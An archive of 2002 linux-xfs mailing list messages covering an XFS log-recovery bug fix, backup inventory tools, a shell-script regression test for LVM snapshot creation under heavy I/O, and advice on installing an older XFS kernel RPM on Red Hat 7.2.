Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA48004 for ; Thu, 29 Aug 2002 16:33:55 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA41758 for ; Thu, 29 Aug 2002 16:33:55 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7TLXWI13031; Thu, 29 Aug 2002 16:33:32 -0500 Message-Id: <200208292133.g7TLXWI13031@jen.americas.sgi.com> Date: Thu, 29 Aug 2002 16:33:32 -0500 Subject: TAKE - fix log recovery of unlinked inodes To: linux-xfs@oss.sgi.com X-archive-position: 154 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs This has been lurking since January, I suspect a number of people have had recovery failures because of it. If you crashed with a lot of deleted files, this bug would lead to a filesystem shutdown during recovery. You would probably have seen something like this: XFS mounting filesystem ide0(3,3) Starting XFS recovery on filesystem: ide0(3,3) (dev: 3/3) xfs_inotobp: xfs_imap() returned an error 22 on ide0(3,3). Returning error. xfs_iunlink_remove: xfs_inotobp() returned an error 22 on ide0(3,3). Returning error. xfs_inactive: xfs_ifree() returned an error = 22 on ide0(3,3) xfs_force_shutdown(ide0(3,3),0x1) called from line 1903 of file xfs_vnodeops.c. Return address = 0xc01d61a1 I/O Error Detected. Shutting down filesystem: ide0(3,3) Please umount the filesystem, and rectify the problem(s) Ending XFS recovery on filesystem: ide0(3,3) (dev: 3/3) Steve Date: Thu Aug 29 14:26:29 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:126410a linux/fs/xfs/xfs_log_recover.c - 1.240 - when processing unlinked inodes and dealing with the di_next_unlinked field, endian flip it. From owner-linux-xfs@oss.sgi.com Thu Aug 29 15:47:35 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 15:47:40 -0700 (PDT) Received: from ente.berdmann.de (frnk-d514e159.dsl.mediaWays.net [213.20.225.89]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TMlXtG027368 for ; Thu, 29 Aug 2002 15:47:34 -0700 Received: from apollo.berdmann.de ([192.168.1.2] helo=berdmann.de) by ente.berdmann.de with esmtp (Exim 3.35 #1) id 17kY80-0004E8-00; Fri, 30 Aug 2002 00:51:05 +0200 Message-ID: <3D6EA559.B1B5489A@berdmann.de> Date: Fri, 30 Aug 2002 00:51:05 +0200 From: Bernhard Erdmann X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18-SGI_XFS_1.1 i586) X-Accept-Language: de, en, fr MIME-Version: 1.0 To: Steve Lord CC: Greg Freemyer , linux-xfs@oss.sgi.com Subject: Re: A more comprehensive backup inventory? [WAS: re[2]: Hopefullysimple xfsrestore question] References: <20020816183147.CIZE23992.imf00bis.bellsouth.net@TAZ2> <1029526038.23167.4.camel@jen.americas.sgi.com> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 155 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: be@berdmann.de Precedence: bulk X-list: linux-xfs Steve Lord wrote: [...] > Looks like the inventory files are not a complete listing of what is in > various dumps, there is no fast way to work out which dump you need to > restore from at the XFS level. Amanda may offer this type of facility, > I really do not know. Yes, Amanda keeps an inventory of all the filenames backed up. Basically, it backs up a filesystem by dump and doubles the data stream. One stream is sent over the network to a "holding disk" from which it is dd'ed to tape and the other stream is fed to restore -t. Its output is transferred with a second TCP connection and stored in a plain (gzipped) textfile. From owner-linux-xfs@oss.sgi.com Thu Aug 29 16:21:11 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 16:21:17 -0700 (PDT) Received: from imf05bis.bellsouth.net (mail205.mail.bellsouth.net [205.152.58.145]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7TNLAtG028009 for ; Thu, 29 Aug 2002 16:21:10 -0700 Received: from TAZ2 ([66.156.1.201]) by imf05bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> for ; Thu, 29 Aug 2002 19:26:20 -0400 Date: Thu, 29 Aug 2002 19:23:25 -0400 From: Greg Freemyer Subject: snapshot regression test try 2 To: xfs mailing list Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-type: text/plain Message-Id: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7TNLBtG028010 X-archive-position: 156 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: freemyer@NorcrossGroup.com Precedence: bulk X-list: linux-xfs Nathan, I have made a second attempt at the script. I think it addresses your concerns. Someone still needs to do the TODO items, but they don't come up in my environment because $SCRATCH_DEV is a LV for me. Steve Lord has run my previous version to some extent, but I don't know if he did it via check, or he just ran the script. Greg Freemyer Internet Engineer Deployment and Integration Specialist Compaq ASE - Tru64 v4, v5 Compaq Master ASE - SAN Architect The Norcross Group www.NorcrossGroup.com ======== 068.out QA output created by 068 SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! Cleanup beginning ======== 068 #! /bin/sh # XFS QA Test No. 068 # $Id: 1.1 $ # # Test LVM snapshot creation # # The timing and placement of kills and waits is particularily sensitive. # Don't change them unless you want to spend some time getting it right again. # #----------------------------------------------------------------------- # Copyright (c) 2000, 2002 Silicon Graphics, Inc. All Rights Reserved. # # This program is free software; you can redistribute it and/or modify it # under the terms of version 2 of the GNU General Public License as # published by the Free Software Foundation. # # This program is distributed in the hope that it would be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # Further, this software is distributed without any warranty that it is # free of the rightful claim of any third person regarding infringement # or the like. Any license provided herein, whether implied or # otherwise, applies only to this software file. Patent licenses, if # any, provided herein do not apply to combinations of this program with # other software, or any other product whatsoever. # # You should have received a copy of the GNU General Public License along # with this program; if not, write the Free Software Foundation, Inc., 59 # Temple Place - Suite 330, Boston MA 02111-1307, USA. # # Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, # Mountain View, CA 94043, or: # # http://www.sgi.com # # For further information regarding this notice, see: # # http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/ #----------------------------------------------------------------------- # # creator owner=freemyer@NorcrossGroup.com seq=`basename $0` echo "QA output created by $seq" here=`pwd` tmp=/tmp/$$ status=1 # failure is the default! GENERATE_IO_LOAD=TRUE # If "FALSE", the dd load loop is skipped DELAY_BETWEEN_ITERATIONS=10 ITERATIONS=20 VG=/dev/VGscratch #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand, ie. check sets these #SCRATCH_MNT=/scratch # Only needed if running by hand, ie. check sets these SCRATCH_SNAP_MNT=$tmp.scratch_snap _cleanup() { echo Cleanup beginning rm $tmp.running > /dev/null 2>&1 xfs_freeze -u $SCRATCH_MNT sleep 10 # Give the dd loop time to finish # Comment out unless needed. If needed, wrap with logic to ensure the FS is mounted #Kill off any other possible stray stragglers that may be out there. There should not be any. # fuser -k -m $SCRATCH_SNAP_MNT/dummy >/dev/null 2>&1 # fuser -k -m $SCRATCH_MNT/dummy >/dev/null 2>&1 wait umount $SCRATCH_SNAP_MNT > /dev/null 2>&1 rmdir $SCRATCH_SNAP_MNT > /dev/null 2>&1 umount $SCRATCH_MNT > /dev/null 2>&1 lvremove -f $VG/scratch_snap > /dev/null 2>&1 lvremove -f $VG/scratch > /dev/null 2>&1 #TODO vgremove $VG rm -f $tmp.* # if we ever use tmp files trap 0 1 2 3 15 exit $status } trap "_cleanup" 0 1 2 3 15 # get standard environment, filters and checks . ./common.rc . ./common.filter if [ -e $SCRATCH_SNAP_MNT ]; then rm -rf $SCRATCH_SNAP_MNT; fi mkdir $SCRATCH_SNAP_MNT #Verify we have the lvm user tools [ -x /sbin/lvcreate ] || _notrun "LVM lvcreate utility is not installed in /sbin" [ -x /sbin/lvremove ] || _notrun "LVM lvremove utility is not installed in /sbin" # if the above fails for LVM 2, the below may be useful notes # try "lvm vgdisplay --version" and look for a > 1.9x version number, eg, # # LVM version: 1.95.10-cvs (2002-05-31) # Library version: 0.96.03-ioctl-cvs (2002-06-27) # Driver version: 1.0.3 #Verify we have the a lvm enabled kernel LVM=false #Check if LVM 1 is in the kernel if grep lvm /proc/devices > /dev/null 2>&1; then LVM=true; fi #Check if LVM 2 is in the kernel if grep device-mapper /proc/devices > /dev/null 2>&1; then LVM=true; fi #Check if EVMS is in the kernel # TODO # I don't know how to do this one. if [ $LVM = false ]; then _notrun "This test requires the kernel have LVM or EVMS present. (The EVMS test is still TBD)."; fi # real QA test starts here # Create a PV set from the scratch partition # TODO # (I don't know if this is needed.and it is dangerous because it intentionally deletes the partition table!!! # TODO # dd if=/dev/zero of=$SCRATCH_DEV bs=512 count=1 # TODO # pvcreate $SCRATCH_DEV # Create a VG from the PV # TODO # vgcreate $VG $SCRATCH_DEV # Create a LV in the VG to snapshot # TODO # lvcreate -L 2G -n scratch $VG # Mount the LV mkdir $SCRATCH_MNT > /dev/null 2&>1 mount $VG/scratch $SCRATCH_MNT if [ $GENERATE_IO_LOAD != FALSE ]; then # Create a large 64 Meg zero filled file on the LV dd if=/dev/zero of=$SCRATCH_MNT/dummy bs=64k count=1000 > /dev/null 2>&1 #setup an infinite loop to copy the large file, thus generating heavy i/o touch $tmp.running while [ -f $tmp.running ] do dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null 2>&1 rm $SCRATCH_MNT/junk # This forces metadata updates the next time around sync done & fi ii=1 while [ $ii -le $ITERATIONS ] do # echo $ii Usefull if your are running interactive, but not from the xfs test scripts #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems # OPTIONAL xfs_freeze -f $SCRATCH_MNT if [ $? != 0 ] ; then echo xfs_freeze -f $SCRATCH_MNT failed fi ( lvcreate --snapshot --size 1G --name scratch_snap $VG/scratch > /dev/null 2>&1 ret=$? if [ $ret != 0 ] ; then echo snapshot creation for $SCRATCH_MNT failed with return code $ret fi ) & SNAPSHOT_shell_pid=$! #if the Snapshot has not completed in ten minutes, kill it ( # I have NOT figured out how to kill the sleep 600 before it exits naturally. # This does not cause a problem, but it clutters the ps table. sleep 600 # The kill $TIMEOUT_shell_pid keeps the below from occuring echo Snapshot Lockup Occured on loop $ii xfs_freeze -u $SCRATCH_MNT kill $$ ) & TIMEOUT_shell_pid=$! wait $SNAPSHOT_shell_pid exec 2> /dev/null # Send the shells stderr to /dev/null kill $TIMEOUT_shell_pid #Cancel the timeout wait $TIMEOUT_shell_pid # This causes consistent shell notification for some unknow reason exec 2>&1 # Put it back to the same as stdout #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems # OPTIONAL xfs_freeze -u $SCRATCH_MNT if [ $? != 0 ] ; then echo xfs_freeze -u $SCRATCH_MNT failed fi # MANDANTORY (end) mount -t xfs -o ro,nouuid $VG/scratch_snap $SCRATCH_SNAP_MNT if [ $? != 0 ] ; then echo mount for $SCRATCH_SNAP_MNT failed fi umount $SCRATCH_SNAP_MNT if [ $? != 0 ] ; then echo umount for $SCRATCH_SNAP_MNT failed fi lvremove -f $VG/scratch_snap > /dev/null 2>&1 if [ $? != 0 ] ; then echo lvremove for $VG/scratch_snap failed fi ii=`expr $ii + 1` sleep $DELAY_BETWEEN_ITERATIONS # The VG seems to need time to stabalize between snapshots # With LVM 1.0.3 and XFS 1.1, I have tried this at 3600 seconds and still had failures done # success, all done echo SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! status=0 _cleanup exit 1 # _cleanup should exit, so we should never get here. From owner-linux-xfs@oss.sgi.com Thu Aug 29 18:51:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 18:51:30 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U1pMtG030227 for ; Thu, 29 Aug 2002 18:51:25 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id UAA49022; Thu, 29 Aug 2002 20:54:56 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-43.corp.sgi.com [134.15.64.43]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id UAA82753; Thu, 29 Aug 2002 20:54:54 -0500 (CDT) Subject: Re: snapshot regression test try 2 From: Stephen Lord To: Greg Freemyer Cc: xfs mailing list In-Reply-To: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> References: <20020829232620.LRFR28682.imf05bis.bellsouth.net@TAZ2> Content-type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Ximian Evolution 1.0.8 Date: 29 Aug 2002 20:54:26 -0500 Message-Id: <1030672468.1083.10.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 157 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Thu, 2002-08-29 at 18:23, Greg Freemyer wrote: > > Nathan, > > I have made a second attempt at the script. > > I think it addresses your concerns. > > Someone still needs to do the TODO items, but they don't come up in my environment because $SCRATCH_DEV is a LV for me. > > Steve Lord has run my previous version to some extent, but I don't know if he did it via check, or he just ran the script. > I ran it by hand, I think check needs to know about the specific test numbers, it also wants a good output file to compare against. One thing I did discover was the partition type needs to be set correctly. I presume that was what the dd from /dev/zero was for, I only had a free partition on a disk, not a free volume. I have subsequently been chasing oopses from running freeze/thaw on a filesystem under heavy load, but that is a different problem than you saw I think. Steve > Greg Freemyer > Internet Engineer > Deployment and Integration Specialist > Compaq ASE - Tru64 v4, v5 > Compaq Master ASE - SAN Architect > The Norcross Group > www.NorcrossGroup.com > > ======== 068.out > QA output created by 068 > SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! > Cleanup beginning > ======== 068 > #! /bin/sh > # XFS QA Test No. 068 > # $Id: 1.1 $ > # > # Test LVM snapshot creation > # > # The timing and placement of kills and waits is particularily sensitive. > # Don't change them unless you want to spend some time getting it right again. > # > #----------------------------------------------------------------------- > # Copyright (c) 2000, 2002 Silicon Graphics, Inc. All Rights Reserved. > # > # This program is free software; you can redistribute it and/or modify it > # under the terms of version 2 of the GNU General Public License as > # published by the Free Software Foundation. > # > # This program is distributed in the hope that it would be useful, but > # WITHOUT ANY WARRANTY; without even the implied warranty of > # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. > # > # Further, this software is distributed without any warranty that it is > # free of the rightful claim of any third person regarding infringement > # or the like. Any license provided herein, whether implied or > # otherwise, applies only to this software file. Patent licenses, if > # any, provided herein do not apply to combinations of this program with > # other software, or any other product whatsoever. > # > # You should have received a copy of the GNU General Public License along > # with this program; if not, write the Free Software Foundation, Inc., 59 > # Temple Place - Suite 330, Boston MA 02111-1307, USA. > # > # Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, > # Mountain View, CA 94043, or: > # > # http://www.sgi.com > # > # For further information regarding this notice, see: > # > # http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/ > #----------------------------------------------------------------------- > # > # creator > owner=freemyer@NorcrossGroup.com > > seq=`basename $0` > echo "QA output created by $seq" > > here=`pwd` > tmp=/tmp/$$ > status=1 # failure is the default! > > GENERATE_IO_LOAD=TRUE # If "FALSE", the dd load loop is skipped > DELAY_BETWEEN_ITERATIONS=10 > ITERATIONS=20 > VG=/dev/VGscratch > #SCRATCH_DEV=/dev/xxxx # Only needed if running by hand, ie. check sets these > #SCRATCH_MNT=/scratch # Only needed if running by hand, ie. check sets these > SCRATCH_SNAP_MNT=$tmp.scratch_snap > > > _cleanup() > { > > echo Cleanup beginning > > rm $tmp.running > /dev/null 2>&1 > xfs_freeze -u $SCRATCH_MNT > > sleep 10 # Give the dd loop time to finish > > # Comment out unless needed. If needed, wrap with logic to ensure the FS is mounted > #Kill off any other possible stray stragglers that may be out there. There should not be any. > # fuser -k -m $SCRATCH_SNAP_MNT/dummy >/dev/null 2>&1 > # fuser -k -m $SCRATCH_MNT/dummy >/dev/null 2>&1 > > wait > > umount $SCRATCH_SNAP_MNT > /dev/null 2>&1 > rmdir $SCRATCH_SNAP_MNT > /dev/null 2>&1 > umount $SCRATCH_MNT > /dev/null 2>&1 > > lvremove -f $VG/scratch_snap > /dev/null 2>&1 > lvremove -f $VG/scratch > /dev/null 2>&1 > > #TODO vgremove $VG > > rm -f $tmp.* # if we ever use tmp files > trap 0 1 2 3 15 > exit $status > } > > trap "_cleanup" 0 1 2 3 15 > > > # get standard environment, filters and checks > . ./common.rc > . ./common.filter > > if [ -e $SCRATCH_SNAP_MNT ]; then rm -rf $SCRATCH_SNAP_MNT; fi > > mkdir $SCRATCH_SNAP_MNT > > #Verify we have the lvm user tools > [ -x /sbin/lvcreate ] || _notrun "LVM lvcreate utility is not installed in /sbin" > [ -x /sbin/lvremove ] || _notrun "LVM lvremove utility is not installed in /sbin" > > # if the above fails for LVM 2, the below may be useful notes > # try "lvm vgdisplay --version" and look for a > 1.9x version number, eg, > # > # LVM version: 1.95.10-cvs (2002-05-31) > # Library version: 0.96.03-ioctl-cvs (2002-06-27) > # Driver version: 1.0.3 > > > #Verify we have the a lvm enabled kernel > > LVM=false > > #Check if LVM 1 is in the kernel > if grep lvm /proc/devices > /dev/null 2>&1; then LVM=true; fi > > #Check if LVM 2 is in the kernel > if grep device-mapper /proc/devices > /dev/null 2>&1; then LVM=true; fi > > #Check if EVMS is in the kernel > # TODO # I don't know how to do this one. > > if [ $LVM = false ]; then _notrun "This test requires the kernel have LVM or EVMS present. (The EVMS test is still TBD)."; fi > > > # real QA test starts here > > # Create a PV set from the scratch partition > # TODO # (I don't know if this is needed.and it is dangerous because it intentionally deletes the partition table!!! > # TODO # dd if=/dev/zero of=$SCRATCH_DEV bs=512 count=1 > # TODO # pvcreate $SCRATCH_DEV > > # Create a VG from the PV > # TODO # vgcreate $VG $SCRATCH_DEV > > # Create a LV in the VG to snapshot > # TODO # lvcreate -L 2G -n scratch $VG > > # Mount the LV > mkdir $SCRATCH_MNT > /dev/null 2&>1 > > mount $VG/scratch $SCRATCH_MNT > > if [ $GENERATE_IO_LOAD != FALSE ]; > then > # Create a large 64 Meg zero filled file on the LV > dd if=/dev/zero of=$SCRATCH_MNT/dummy bs=64k count=1000 > /dev/null 2>&1 > > #setup an infinite loop to copy the large file, thus generating heavy i/o > > touch $tmp.running > > while [ -f $tmp.running ] > do > dd if=$SCRATCH_MNT/dummy of=$SCRATCH_MNT/junk bs=64k > /dev/null 2>&1 > rm $SCRATCH_MNT/junk # This forces metadata updates the next time around > sync > done & > fi > > ii=1 > > while [ $ii -le $ITERATIONS ] > do > > # echo $ii Usefull if your are running interactive, but not from the xfs test scripts > > #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems > # OPTIONAL > xfs_freeze -f $SCRATCH_MNT > if [ $? != 0 ] ; then > echo xfs_freeze -f $SCRATCH_MNT failed > fi > ( > lvcreate --snapshot --size 1G --name scratch_snap $VG/scratch > /dev/null 2>&1 > ret=$? > if [ $ret != 0 ] ; then > echo snapshot creation for $SCRATCH_MNT failed with return code $ret > fi > ) & > SNAPSHOT_shell_pid=$! > > #if the Snapshot has not completed in ten minutes, kill it > ( > # I have NOT figured out how to kill the sleep 600 before it exits naturally. > # This does not cause a problem, but it clutters the ps table. > sleep 600 > # The kill $TIMEOUT_shell_pid keeps the below from occuring > echo Snapshot Lockup Occured on loop $ii > xfs_freeze -u $SCRATCH_MNT > kill $$ > ) & > TIMEOUT_shell_pid=$! > > wait $SNAPSHOT_shell_pid > > exec 2> /dev/null # Send the shells stderr to /dev/null > kill $TIMEOUT_shell_pid #Cancel the timeout > wait $TIMEOUT_shell_pid # This causes consistent shell notification for some unknow reason > exec 2>&1 # Put it back to the same as stdout > > #if the VFS lock patch is present, the calls to xfs_freeze are redundant, but should cause no problems > # OPTIONAL > xfs_freeze -u $SCRATCH_MNT > if [ $? != 0 ] ; then > echo xfs_freeze -u $SCRATCH_MNT failed > fi > # MANDANTORY (end) > > mount -t xfs -o ro,nouuid $VG/scratch_snap $SCRATCH_SNAP_MNT > if [ $? != 0 ] ; then > echo mount for $SCRATCH_SNAP_MNT failed > fi > umount $SCRATCH_SNAP_MNT > if [ $? != 0 ] ; then > echo umount for $SCRATCH_SNAP_MNT failed > fi > lvremove -f $VG/scratch_snap > /dev/null 2>&1 > if [ $? != 0 ] ; then > echo lvremove for $VG/scratch_snap failed > fi > > ii=`expr $ii + 1` > sleep $DELAY_BETWEEN_ITERATIONS # The VG seems to need time to stabalize between snapshots > # With LVM 1.0.3 and XFS 1.1, I have tried this at 3600 seconds and still had failures > > done > > # success, all done > echo SUCCESS, COMPLETED ALL ITERATIONS WITH NO TIME OUTS!!!!!!!!!!!! > status=0 > _cleanup > exit 1 # _cleanup should exit, so we should never get here. > From owner-linux-xfs@oss.sgi.com Thu Aug 29 18:57:38 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 18:57:40 -0700 (PDT) Received: from mail.miratek.com ([216.97.55.61]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U1vbtG030721 for ; Thu, 29 Aug 2002 18:57:38 -0700 Received: from maherxp [24.145.147.99] by mail.miratek.com with ESMTP (SMTPD32-7.12) id A09214000C8; Thu, 29 Aug 2002 20:55:30 -0500 Reply-To: From: "Mike" To: Subject: XFS RPM install on Redhat 7.2 Date: Thu, 29 Aug 2002 22:00:02 -0400 Message-ID: <000501c24fc8$f4c8d090$967ba8c0@maherxp> MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.3416 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7U1vctG030723 X-archive-position: 158 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: samba@miratek.com Precedence: bulk X-list: linux-xfs I am trying to install the RPM kernel on my system to get XFS support on a redhat 7.2. I am unable to install it because I have newer kernel. [root ~]# rpm -ivh kernel-smp-2.4.9-31SGI_XFS_1.1.i686.rpm Preparing... ########################################### [100%] package kernel-smp-2.4.9-34 (which is newer than kernel-smp-2.4.9-31SGI_XFS_1.1) is already installed Can I override this option while maintaining the 2.4.9-34smp (just in case) or I have to override the newer 2.4.9-34smp kernel. How to override the installation (-force do the trick)? If I force the RPM to install can I still boot from the 2.4.9-34smp kernel. How about if I boot to the old kernel (2.4.7) and try to install kernel-smp-2.4.9-31SGI_XFS_1.1.i686.rpm, will this work and the installation will stop complaining? My lilo.conf file, output of lsmond, and current kernel is: Red Hat Linux release 7.2 (Enigma) Kernel 2.4.9-34smp on an i686 [root ~]# cat /etc/lilo.conf boot="/dev/sda" linear prompt timeout="50" message=/boot/message root=/dev/md5 default=2.4.9-34smp image="/boot/vmlinuz-2.4.7-10" label="2.4.7-10" root="/dev/md5" read-only initrd="/boot/initrd-2.4.7-10.img" image=/boot/vmlinuz-2.4.7-10smp label="2.4.7-10smp" root=/dev/md5 read-only initrd="/boot/initrd-2.4.7-10smp.img" image=/boot/vmlinuz-2.4.9-34 label="2.4.9-34" root=/dev/md5 read-only initrd="/boot/initrd-2.4.9-34.img" image="/boot/vmlinuz-2.4.9-34smp" label="2.4.9-34smp" root="/dev/md5" read-only initrd="/boot/initrd-2.4.9-34smp.img" image=/usr/src/linux/arch/i386/boot/bzImage label="Linux_Compiled" root=/dev/md5 read-only optional [root ~]# lsmod Module Size Used by Not tainted soundcore 4868 0 (autoclean) pcmcia_core 42720 0 autofs 12100 0 (autoclean) (unused) nfs 83808 8 (autoclean) lockd 54048 1 (autoclean) [nfs] sunrpc 70032 1 (autoclean) [nfs lockd] eepro100 18128 1 st 27092 0 raid0 3968 1 (autoclean) usb-ohci 20704 0 (unused) usbcore 54656 1 [usb-ohci] ext3 65760 9 jbd 44580 9 [ext3] raid5 19264 0 (unused) xor 6488 0 [raid5] raid1 14340 7 aic7xxx 114784 24 sd_mod 11900 24 scsi_mod 101592 3 [st aic7xxx sd_mod] Thanks for your help,   Mike From owner-linux-xfs@oss.sgi.com Thu Aug 29 19:05:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Thu, 29 Aug 2002 19:05:58 -0700 (PDT) Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7U25stG031235 for ; Thu, 29 Aug 2002 19:05:55 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA48647; Thu, 29 Aug 2002 21:09:28 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id VAA88187; Thu, 29 Aug 2002 21:09:28 -0500 (CDT) Date: Thu, 29 Aug 2002 21:07:15 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Mike cc: linux-xfs@oss.sgi.com Subject: Re: XFS RPM install on Redhat 7.2 In-Reply-To: <000501c24fc8$f4c8d090$967ba8c0@maherxp> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by zeus-e8.americas.sgi.com id VAA48647 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7U25ttG031236 X-archive-position: 159 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs I think rpm -ivh --oldpackage .rpm will work, if not, there are a million other options in the rpm man page. :) I'd use force as a last resort. --oldpackage Allow an upgrade to replace a newer package with an older one. Booting an older kernel won't help, rpm is looking at the database of installed packages, not what is currently running. -Eric On Thu, 29 Aug 2002, Mike wrote: > > > I am trying to install the RPM kernel on my system to get XFS support on > a redhat 7.2. I am unable to install it because I have newer kernel. > > [root ~]# rpm -ivh kernel-smp-2.4.9-31SGI_XFS_1.1.i686.rpm > Preparing... ########################################### > [100%] > package kernel-smp-2.4.9-34 (which is newer than > kernel-smp-2.4.9-31SGI_XFS_1.1) is already installed > > Can I override this option while maintaining the 2.4.9-34smp (just in > case) or I have to override the newer 2.4.9-34smp kernel. How to > override the installation (-force do the trick)? If I force the RPM to > install can I still boot from the 2.4.9-34smp kernel. > > How about if I boot to the old kernel (2.4.7) and try to install > kernel-smp-2.4.9-31SGI_XFS_1.1.i686.rpm, will this work and the > installation will stop complaining? > > My lilo.conf file, output of lsmond, and current kernel is: > > Red Hat Linux release 7.2 (Enigma) > Kernel 2.4.9-34smp on an i686 > > > [root ~]# cat /etc/lilo.conf > boot="/dev/sda" > linear > prompt > timeout="50" > message=/boot/message > root=/dev/md5 > default=2.4.9-34smp > > image="/boot/vmlinuz-2.4.7-10" > label="2.4.7-10" > root="/dev/md5" > read-only > initrd="/boot/initrd-2.4.7-10.img" > > image=/boot/vmlinuz-2.4.7-10smp > label="2.4.7-10smp" > root=/dev/md5 > read-only > initrd="/boot/initrd-2.4.7-10smp.img" > > image=/boot/vmlinuz-2.4.9-34 > label="2.4.9-34" > root=/dev/md5 > read-only > initrd="/boot/initrd-2.4.9-34.img" > > image="/boot/vmlinuz-2.4.9-34smp" > label="2.4.9-34smp" > root="/dev/md5" > read-only > initrd="/boot/initrd-2.4.9-34smp.img" > > image=/usr/src/linux/arch/i386/boot/bzImage > label="Linux_Compiled" > root=/dev/md5 > read-only > optional > > [root ~]# lsmod > Module Size Used by Not tainted > soundcore 4868 0 (autoclean) > pcmcia_core 42720 0 > autofs 12100 0 (autoclean) (unused) > nfs 83808 8 (autoclean) > lockd 54048 1 (autoclean) [nfs] > sunrpc 70032 1 (autoclean) [nfs lockd] > eepro100 18128 1 > st 27092 0 > raid0 3968 1 (autoclean) > usb-ohci 20704 0 (unused) > usbcore 54656 1 [usb-ohci] > ext3 65760 9 > jbd 44580 9 [ext3] > raid5 19264 0 (unused) > xor 6488 0 [raid5] > raid1 14340 7 > aic7xxx 114784 24 > sd_mod 11900 24 > scsi_mod 101592 3 [st aic7xxx sd_mod] > > > Thanks for your help, >   > Mike > 